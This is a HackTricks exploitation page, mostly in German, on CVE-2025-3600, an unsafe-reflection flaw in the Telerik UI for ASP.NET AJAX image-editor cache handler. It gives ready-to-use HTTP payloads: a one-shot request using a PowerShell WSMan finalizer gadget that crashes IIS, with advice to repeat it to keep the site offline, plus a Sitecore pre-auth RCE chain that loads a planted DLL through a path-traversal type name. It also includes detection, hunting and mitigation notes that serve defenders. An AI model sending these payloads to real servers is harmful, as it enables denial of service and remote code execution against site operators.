Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)

Reading time: 8 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Pre‑auth-Konstruktorausführung im Image Editor Cache-Handler von Telerik UI for ASP.NET AJAX ermöglicht universellen DoS und in vielen Anwendungen pre‑auth RCE durch zielgerichtete Gadgets (CVE-2025-3600).

TL;DR

  • Betroffene Komponente/Route: Telerik.Web.UI.WebResource.axd mit query type=iec (Image Editor cache handler). In vielen Produkten pre‑auth exponiert.
  • Primitive: Ein Angreifer kontrolliert einen Typnamen (prtype). Der Handler löst ihn mit Type.GetType() auf und ruft Activator.CreateInstance() auf, bevor die Interface-Typensicherheit überprüft wird. Jeder öffentliche parameterlose .NET-Typkonstruktor wird ausgeführt.
  • Impact:
    • Universeller pre‑auth DoS mittels eines .NET Framework-Gadgets (PowerShell WSMan finalizer).
    • Führt in realen Deployments oft zu pre‑auth RCE durch Missbrauch anwendungsspezifischer Gadgets, besonders unsichere AppDomain.AssemblyResolve-Handler.
  • Fix: Update auf Telerik UI for ASP.NET AJAX 2025.1.416+ oder entferne/sichere den Handler.

Betroffene Versionen

  • Telerik UI for ASP.NET AJAX Versionen 2011.2.712 bis 2025.1.218 (inklusive) sind verwundbar.
  • Behoben in 2025.1.416 (veröffentlicht 2025-04-30). Sofort patchen oder den Handler entfernen/sichern.

Angriffsfläche und schnelle Erkennung

  • Überprüfung der Exposition:
    • GET /Telerik.Web.UI.WebResource.axd sollte etwas anderes als 404/403 zurückgeben, wenn der Handler registriert ist.
    • Überprüfe web.config auf Handler, die auf Telerik.Web.UI.WebResource.axd gemappt sind.
  • Der Auslösepfad für den verwundbaren Code-Pfad erfordert: type=iec, dkey=1 und prtype=.

Beispielprobe und generischer Trigger:

http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly

Hinweise

  • Einige PoCs verwenden dtype; die Implementierung prüft dkey=="1" für den Download-Flow.
  • prtype muss assembly-qualified sein oder im aktuellen AppDomain auflösbar sein.

Ursache – unsafe reflection in ImageEditorCacheHandler

Der Download-Flow des Image Editor-Caches erzeugt eine Instanz eines in prtype gelieferten Typs und castet diese erst später zu ICacheImageProvider, bevor der Download-Key validiert wird. Der Konstruktor wurde bereits ausgeführt, wenn die Validierung fehlschlägt.

Relevanter dekompilierter Ablauf
csharp
// entrypoint
public void ProcessRequest(HttpContext context)
{
string text = context.Request["dkey"];           // dkey
string text2 = context.Request.Form["encryptedDownloadKey"]; // download key
...
if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1"
{
ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here
string key = context.Request["key"];
if (text == "1" && !this.IsValidDownloadKey(text2))
{
this.CompleteAsBadRequest(context.ApplicationInstance);
return; // cast/check happens after ctor has already run
}
using (EditableImage editableImage = imageProvider.Retrieve(key))
{
this.SendImage(editableImage, context, text, fileName);
}
}
}

private ICacheImageProvider GetImageProvider(HttpContext context)
{
if (!string.IsNullOrEmpty(context.Request["prtype"]))
{
return RadImageEditor.InitCacheImageProvider(
RadImageEditor.GetICacheImageProviderType(context.Request["prtype"]) // [A]
);
}
...
}

public static Type GetICacheImageProviderType(string imageProviderTypeName)
{
return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ?
typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B]
}

protected internal static ICacheImageProvider InitCacheImageProvider(Type t)
{
// unsafe: construct before enforcing interface type-safety
return (ICacheImageProvider)Activator.CreateInstance(t); // [C]
}

Exploit-Primitiv: kontrollierter Type-String → Type.GetType löst ihn auf → Activator.CreateInstance führt dessen öffentlichen parameterlosen Konstruktor aus. Selbst wenn die Anfrage anschließend abgelehnt wird, sind Gadget-Nebenwirkungen bereits aufgetreten.

Universal DoS gadget (keine app-spezifischen gadgets erforderlich)

Klasse: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper in System.Management.Automation (PowerShell) hat einen Finalizer, der ein nicht initialisiertes Handle disposed, wodurch beim Finalisieren durch den GC eine unbehandelte Ausnahme ausgelöst wird. Das bringt den IIS worker process kurz nach der Instanziierung zuverlässig zum Absturz.

One-shot DoS request:

http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

Notes

  • Weiterhin periodisch Anfragen senden, um die Site offline zu halten. Möglicherweise beobachtest du, dass der Konstruktor in einem Debugger getroffen wird; der Absturz tritt bei Finalisierung auf.

From DoS to RCE – escalation patterns

Unsichere Ausführung von Konstruktoren öffnet viele ziel‑spezifische Gadgets und Chains. Achte auf:

  1. Parameterless constructors that process attacker input
  • Einige ctors (oder static initializers) lesen sofort Request query/body/cookies/headers und (de)serialisieren diese.
  • Example (Sitecore): a ctor chain reaches GetLayoutDefinition() which reads HTTP body "layout" and deserializes JSON via JSON.NET.
  1. Constructors that touch files
  • Ctors, die Config/Blobs von der Festplatte laden oder deserialisieren, können beeinflusst werden, wenn du auf diese Pfade schreiben kannst (uploads/temp/data‑Ordner).
  1. Constructors performing app-specific ops
  • Zurücksetzen von State, Umschalten von Modulen oder Beenden von Prozessen.
  1. Constructors/static ctors that register AppDomain event handlers
  • Viele Apps fügen AppDomain.CurrentDomain.AssemblyResolve‑Handler hinzu, die DLL‑Pfade aus args.Name bauen, ohne zu sanitisieren. Wenn du die Typauflösung beeinflussen kannst, kannst du erzwungene DLL‑Loads von angreiferkontrollierten Pfaden herbeiführen.
  1. Forcing AssemblyResolve via Type.GetType
  • Requeste einen nicht existierenden Typ, um die CLR‑Resolution zu erzwingen und registrierte (möglicherweise unsichere) Resolver aufzurufen. Example assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
  1. Finalizers mit zerstörerischen Nebenwirkungen
  • Einige Typen löschen Dateien mit festen Pfaden in Finalizern. In Kombination mit dem Folgen von Symlinks oder vorhersehbaren Pfaden kann dies local privilege escalation in bestimmten Umgebungen ermöglichen.

Beispiel pre‑auth RCE chain (Sitecore XP)

  • Schritt 1 – Pre‑auth: Löse einen Typ aus, dessen static/instance ctor einen unsicheren AssemblyResolve-Handler registriert (z. B. Sitecore’s FolderControlSource in ControlFactory).
  • Schritt 2 – Post‑auth: Erlange Schreibzugriff in ein vom Resolver untersuchtes Verzeichnis (z. B. via an auth bypass oder durch einen unsicheren Upload) und platziere eine bösartige DLL.
  • Schritt 3 – Pre‑auth: Nutze CVE‑2025‑3600 mit einem nicht existenten Typ und einem traversal‑geladenen Assembly‑Namen, um den Resolver zu zwingen, deine abgelegte DLL zu laden → code execution as the IIS worker.

Trigger-Beispiele

http
# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl

# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr

Validierung, hunting und DFIR-Notizen

  • Sichere Labor-Validierung: DoS-Payload auslösen und auf App-Pool-Recycle / unbehandelte Ausnahme achten, die mit dem WSMan-Finalizer verknüpft ist.
  • Hunt in Telemetrie:
  • Anfragen an /Telerik.Web.UI.WebResource.axd mit type=iec und auffälligen prtype-Werten.
  • Fehlgeschlagene Type-Loads und AppDomain.AssemblyResolve-Ereignisse.
  • Plötzliche w3wp.exe-Abstürze/Recycle-Vorgänge nach derartigen Anfragen.

Gegenmaßnahmen

  • Auf Telerik UI for ASP.NET AJAX 2025.1.416 oder höher patchen.
  • Telerik.Web.UI.WebResource.axd nach Möglichkeit entfernen oder den Zugriff einschränken (WAF/rewrites).
  • prtype-Handling serverseitig ignorieren oder härten (das Upgrade führt vor der Instanziierung korrekte Prüfungen durch).
  • Custom AppDomain.AssemblyResolve-Handler auditieren und absichern. Vermeiden Sie das Erstellen von Pfaden aus args.Name ohne Validierung; bevorzugen Sie strong-named loads oder Whitelists.
  • Upload-/Schreiborte einschränken und verhindern, dass DLLs in durchsuchte/probed Verzeichnisse abgelegt werden.
  • Auf Versuche, nicht existierende Typen zu laden, überwachen, um Resolver-Missbrauch zu erkennen.

Spickzettel

  • Presence check:
  • GET /Telerik.Web.UI.WebResource.axd
  • Nach Handler-Mapping in web.config suchen
  • Exploit skeleton:
http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
  • Universal DoS:
http
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
  • Resolver für Trigger:
This.Class.Does.Not.Exist, watchTowr

Verwandte Techniken

  • IIS post-exploitation, .NET key extraction und in‑memory loaders:

IIS - Internet Information Services

  • ASP.NET ViewState deserialization und machineKey abuses:

Exploiting __VIEWSTATE without knowing the secrets

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks